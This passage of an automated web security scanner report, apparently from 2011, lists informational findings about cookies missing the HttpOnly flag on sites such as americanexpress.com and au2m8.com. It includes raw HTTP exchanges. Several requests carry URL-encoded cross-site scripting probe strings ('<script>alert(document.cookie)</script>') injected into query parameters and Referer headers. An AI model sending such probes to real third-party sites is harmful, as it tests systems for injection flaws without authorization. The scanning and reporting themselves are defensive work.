tm_identity=49861ab8e8975d1ba6a3abd89f4b6162; expires=Sun, 13-Feb-2011 16:04:58 GMT; path=/; domain=.tweetmeme.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /story/3866851775/ HTTP/1.1
Host: tweetmeme.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: user_unique_ident=4d4300485cccb8.88856407-57c11f7a933564d3f62b1bb71b01e19d; __utmz=229010307.1295907700.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=229010307.737407932.1295907700.1295907700.1295907700.1; __qca=P0-724637325-1295907700201; __csv=286f8b371579253c; __qseg=Q_D|Q_T|Q_2891|Q_2867|Q_2866|Q_2865|Q_2363|Q_2362|Q_2355|Q_2353|Q_2352|Q_2349|Q_2339|Q_1286|Q_1160|Q_1159|Q_1156|Q_1149|Q_1148|Q_983;

Response

HTTP/1.1 301 Moved Permanently
Server: nginx/0.7.67
Date: Sun, 06 Feb 2011 16:04:58 GMT
Content-Type: text/html
Connection: close
Location: /story/3866851775/macys-ramps-up-online-operations-it-management-news-and-reviews-baselinecom
Set-Cookie: tm_identity=49861ab8e8975d1ba6a3abd89f4b6162; expires=Sun, 13-Feb-2011 16:04:58 GMT; path=/; domain=.tweetmeme.com
X-Ads-Served-In: 0.0001370906829834
X-Served-In: 0.0035839080810547
X-Served-By: h00
Content-Length: 0

15.328. http://us.blackberry.com/assets_refresh/images/dropNavArrow.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://us.blackberry.com
Path:	/assets_refresh/images/dropNavArrow.png

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BLLY=35Q54e83kMijy_nk89V0lFAxrY6VDtbVadHWdB3h9L8A2uRr36LQVVw; expires=Sun, 06-Mar-2011 13:32:26 GMT; path=/; domain=.blackberry.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.329. http://vegetarian.about.com/od/soupsstewsandchili/r/hotandsour.htm previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://vegetarian.about.com
Path:	/od/soupsstewsandchili/r/hotandsour.htm

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

TMog=B25Lon3f20kA050C; domain=.about.com; path=/; expires=Sun, 13-May-12 20:59:30 GMT
Mint=B25Lon3f20kA050C; domain=.about.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /od/soupsstewsandchili/r/hotandsour.htm HTTP/1.1
Host: vegetarian.about.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.330. http://whitepixel.com/backend/remote/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://whitepixel.com
Path:	/backend/remote/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

X-Mapping-jhaghgkk=5C77A2A3D3F9B29B82DC705ACC50E70B; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /backend/remote/?wp_id=45c9063cc70f40e015c6345e8603ec48 HTTP/1.1
Host: whitepixel.com
Proxy-Connection: keep-alive
Referer: http://tipd.com/?6785a%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eea5c679a90c=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache/2.2
Content-Type: text/javascript
Date: Sun, 06 Feb 2011 13:39:14 GMT
Connection: Keep-Alive
Set-Cookie: X-Mapping-jhaghgkk=5C77A2A3D3F9B29B82DC705ACC50E70B; path=/
Content-Length: 13

/* no code */

15.331. http://www.active-srv02.de/werbemittel/WebObjects/werbemittel.woa/wa/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.active-srv02.de
Path:	/werbemittel/WebObjects/werbemittel.woa/wa/ads

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

apv_1=6f09cd3d-7986-4113-9124-912c77e974a9|za|tsID=za1049301; version="1"; expires=Thu, 07-Apr-2011 17:05:24 GMT; path=/; domain=.active-srv02.de

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.332. http://www.addthis.com/bookmark.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.addthis.com
Path:	/bookmark.php

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

Coyote-2-a0f0083=a0f022f:0; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /bookmark.php HTTP/1.1
Host: www.addthis.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:05:15 GMT
Server: Apache
X-Powered-By: PHP/5.2.13
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Set-Cookie: Coyote-2-a0f0083=a0f022f:0; path=/
Content-Length: 93678

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>AddThis Social Bookm
...[SNIP]...

15.333. http://www.alistapart.com/articles/taminglists/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.alistapart.com
Path:	/articles/taminglists/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

exp_last_visit=981607334; expires=Sun, 05-Feb-2012 22:42:14 GMT; path=/
exp_last_activity=1296967334; expires=Sun, 05-Feb-2012 22:42:14 GMT; path=/
exp_tracker=a%3A1%3A%7Bi%3A0%3Bs%3A22%3A%22%2Farticles%2Ftaminglists%2F%22%3B%7D; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /articles/taminglists/ HTTP/1.1
Host: www.alistapart.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:42:14 GMT
Server: Apache
X-Powered-By: PHP/5.3.2-1ubuntu4.5
Set-Cookie: mobify=0; expires=Sun, 06-Feb-2011 00:42:14 GMT; path=/; domain=.alistapart.com
Set-Cookie: exp_last_visit=981607334; expires=Sun, 05-Feb-2012 22:42:14 GMT; path=/
Set-Cookie: exp_last_activity=1296967334; expires=Sun, 05-Feb-2012 22:42:14 GMT; path=/
Set-Cookie: exp_tracker=a%3A1%3A%7Bi%3A0%3Bs%3A22%3A%22%2Farticles%2Ftaminglists%2F%22%3B%7D; path=/
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Last-Modified: Sat, 05 Feb 2011 22:42:14 GMT
Pragma: no-cache
Content-Type: text/html
Connection: close
Vary: Accept-Encoding, User-Agent
Content-Length: 39693

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<title>A List Ap
...[SNIP]...

15.334. https://www.americanexpress.com/airlines-credit-card/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.americanexpress.com
Path:	/airlines-credit-card/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SaneID=173.193.214.243-1296942781910061; path=/; expires=Tue, 09-Feb-16 21:53:01 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /airlines-credit-card/ HTTP/1.1
Host: www.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.335. https://www.americanexpress.com/credit-card-rewards/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.americanexpress.com
Path:	/credit-card-rewards/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SaneID=173.193.214.243-1296942782675560; path=/; expires=Tue, 09-Feb-16 21:53:02 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /credit-card-rewards/ HTTP/1.1
Host: www.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.336. https://www.americanexpress.com/gift/giftcardslanding.shtml previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.americanexpress.com
Path:	/gift/giftcardslanding.shtml

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SaneID=173.193.214.243-1296942777855214; path=/; expires=Tue, 09-Feb-16 21:52:57 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /gift/giftcardslanding.shtml HTTP/1.1
Host: www.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.337. https://www.americanexpress.com/gold-card/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.americanexpress.com
Path:	/gold-card/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SaneID=173.193.214.243-1296942789184350; path=/; expires=Tue, 09-Feb-16 21:53:09 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /gold-card/ HTTP/1.1
Host: www.americanexpress.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

15.338. https://www.americanexpress.com/no-annual-fee-credit-cards/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.americanexpress.com
Path:	/no-annual-fee-credit-cards/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SaneID=173.193.214.243-1296942786051814; path=/; expires=Tue, 09-Feb-16 21:53:06 GMT; domain=.americanexpress.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

15.339. http://www.au2m8.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/favicon.ico

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

ARPT=NQJKKYS192.168.100.219CKOWU; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /favicon.ico HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; bpl1297002238=1296998638; videoID=expired; auto=expired; playlist=5731; j2playlist=4881

Response

HTTP/1.1 302 Found
Set-Cookie: ARPT=NQJKKYS192.168.100.219CKOWU; path=/
Date: Sun, 06 Feb 2011 13:24:32 GMT
Server: Apache
Location: http://au2m8.com
Content-Length: 200
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://au2m8.com">here</a>.</p>
</body></html>

15.340. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297002349=1296998749; expires=Sun, 06-Feb-2011 14:25:49 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 14:25:49 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 14:25:49 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 13:25:49 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3&jr=4&jr=5&jr=6 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3&jr=4&jr=5
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; bpl1297002238=1296998638; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297002287=1296998687; bpl1297002302=1296998702; bpl1297002318=1296998718; bpl1297002333=1296998733; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=4881

Response

15.341. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012317=1297008717; expires=Sun, 06-Feb-2011 17:11:57 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:11:57 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:11:57 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:11:57 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.342. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1296950951=1296947351; expires=Sun, 06-Feb-2011 00:09:11 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 00:09:11 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 00:09:11 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3&jr=4 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ARPT=NQJKKYS192.168.100.218CKOWJ; countryID=us; bpl1296950890=1296947290; bpl1296950905=1296947305; bpl1296950921=1296947321; bpl1296950936=1296947336; videoID=expired; auto=expired; playlist=5731; j2playlist=5731

Response

15.343. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297012564=1297008964; expires=Sun, 06-Feb-2011 17:16:04 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:16:04 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:16:04 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:16:04 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.344. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1296950936=1296947336; expires=Sun, 06-Feb-2011 00:08:56 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 00:08:56 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 00:08:56 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ARPT=NQJKKYS192.168.100.218CKOWJ; countryID=us; bpl1296950890=1296947290; bpl1296950905=1296947305; bpl1296950921=1296947321; videoID=expired; auto=expired; playlist=5731; j2playlist=5731

Response

15.345. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297014742=1297011142; expires=Sun, 06-Feb-2011 17:52:22 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 17:52:22 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 17:52:22 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 16:52:22 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=47865&pID=11909&skinName=light&t=620692&pr=www.kledy.es%2F&psource=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://files.video-loader.com/au2m8_preloader/10711909126097144647865.htm?vs=1&r=www.kledy.es%2F&s=www.kledy.es%2F&poR=http%3A%2F%2Fburp%2Fshow%2F65&poS=http%3A%2F%2Fwww.kledy.es%2F%3Fbc891%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E5d09625540c%3D1&t=143521
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297012232=1297008632; bpl1297012271=1297008671; bpl1297012287=1297008687; bpl1297012302=1297008702; bpl1297012317=1297008717; bpl1297012335=1297008735; bpl1297012351=1297008751; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=5731

Response

15.346. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297002302=1296998702; expires=Sun, 06-Feb-2011 14:25:02 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 14:25:02 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 14:25:02 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 13:25:02 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

15.347. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1297002348=1296998748; expires=Sun, 06-Feb-2011 14:25:48 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 14:25:48 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 14:25:48 GMT; path=/; domain=.au2m8.com
playlist=5731%2C4881; expires=Tue, 08-Feb-2011 13:25:48 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3&jr=4&jr=5&jr=6 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=26263692aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E395e61b488b&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1&jr=2&jr=3&jr=4&jr=5
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: countryID=us; bpl1297002238=1296998638; ARPT=NQJKKYS192.168.100.219CKOWU; bpl1297002287=1296998687; bpl1297002302=1296998702; bpl1297002318=1296998718; bpl1297002333=1296998733; videoID=expired; auto=expired; playlist=5731%2C4881; j2playlist=4881

Response

15.348. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

bpl1296950905=1296947305; expires=Sun, 06-Feb-2011 00:08:25 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 00:08:25 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 00:08:25 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&jr=1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://www.au2m8.com/v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ARPT=NQJKKYS192.168.100.218CKOWJ; countryID=us; bpl1296950890=1296947290; videoID=expired; auto=expired; j2playlist=5731

Response

15.349. http://www.au2m8.com/v/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.au2m8.com
Path:	/v/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

ARPT=NQJKKYS192.168.100.219CKOWU; path=/
bpl1296950890=1296947290; expires=Sun, 06-Feb-2011 00:08:10 GMT; path=/; domain=.au2m8.com
videoID=expired; expires=Sun, 06-Feb-2011 00:08:10 GMT; path=/; domain=.au2m8.com
auto=expired; expires=Sun, 06-Feb-2011 00:08:10 GMT; path=/; domain=.au2m8.com
playlist=deleted; expires=Fri, 05-Feb-2010 23:08:09 GMT; path=/; domain=.au2m8.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /v/?ps=26&cw=26263&pID=11909&skinName=light&t=685356&pr=www.kledy.de%2Fbookmarks.php&psource=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1 HTTP/1.1
Host: www.au2m8.com
Proxy-Connection: keep-alive
Referer: http://files.video-loader.com/au2m8_preloader/81211909126097148926263.htm?vs=1&r=www.kledy.de%2Fbookmarks.php&s=www.kledy.de%2Fbookmarks.php&poR=http%3A%2F%2Fburp%2Fshow%2F34&poS=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253Eef67307aec5%3D1&t=76345
